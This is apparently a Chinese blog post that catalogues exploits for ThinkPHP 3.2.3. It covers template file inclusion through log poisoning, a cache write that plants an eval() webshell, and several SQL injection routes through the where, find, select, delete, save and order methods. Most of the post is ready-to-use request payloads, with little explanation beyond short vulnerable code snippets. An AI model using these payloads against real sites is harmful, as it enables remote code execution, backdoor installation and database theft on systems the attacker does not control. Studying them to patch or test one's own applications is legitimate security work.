头像

ThinkPHP3.2.3 RCE漏洞

发布时间:2022-03-21 19:41:18

发布作者:admin

3824

一、 包含漏洞

RCE业务代码中如果模板赋值方法assign的第一个参数可控,则可导致模板文件路径变量被覆盖为携带攻击代码的文件路径,造成任意文件包含,执行任意代码。

$value = I("get.value");
$this->assign($value);
$this->display();
利用日志包含,先将payload写入日志内。
/index.php?m=Home&c=Index&a=index&test=--><?=phpinfo();?>
包含并执行日志内的代码
index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_08_02.log

二、缓存漏洞

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {

    public function index(){
        $a=I('post.a3');
        S('name',$a);
    }
}
然后我们来post一段代码
a3=%0A%24a%3deval(%24_POST%5b%27a3%27%5d)%3b%2f%2f

三、exp注入

$name = $_GET['name'];
$data = M("user")->where(array("name"=>$name))->find();
dump($data);

变量必须是原生函数获取,如果使用I函数无法注入,where方法内传入的必须是数组而且可控。

name[0]=exp&name[1]=='' and updatexml(1,concat(0x7e,user(),0x7e),1)--

四、find/select/delete注入

$id = I('id');
$res = M("user")->find($id);
//$res = M("user")->select($id);
//$res = M("user")->delete($id);
dump($res);
find() select()方法注入
id[table]=user where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)--
id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--

delete()方法注入

id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
id[table]=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1

五、update注入

$user['name'] = I("name");
$data['pass'] = I("pass");
$res = M("user")->where($user)->save($data);
dump($res);

user数组可控,变量用I函数获取,且使用save()方法。

name[0]=bind&name[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)--&pass=1

六、order注入

$name = I("name");
$order = I("order");
$res = M("user")->where(["name" => $name])->order($order)->find();
dump($res);

order()方法参数可控

order[updatexml(1,concat(0x3a,user()),1)]


相关文章:
  1. php排列组合函数(无重复)
  2. CentOS7使用firewalld打开关闭防火墙与端口
  3. Mac下Sublime Text Vim模式 方向键无法长按
  4. 手机归属地字库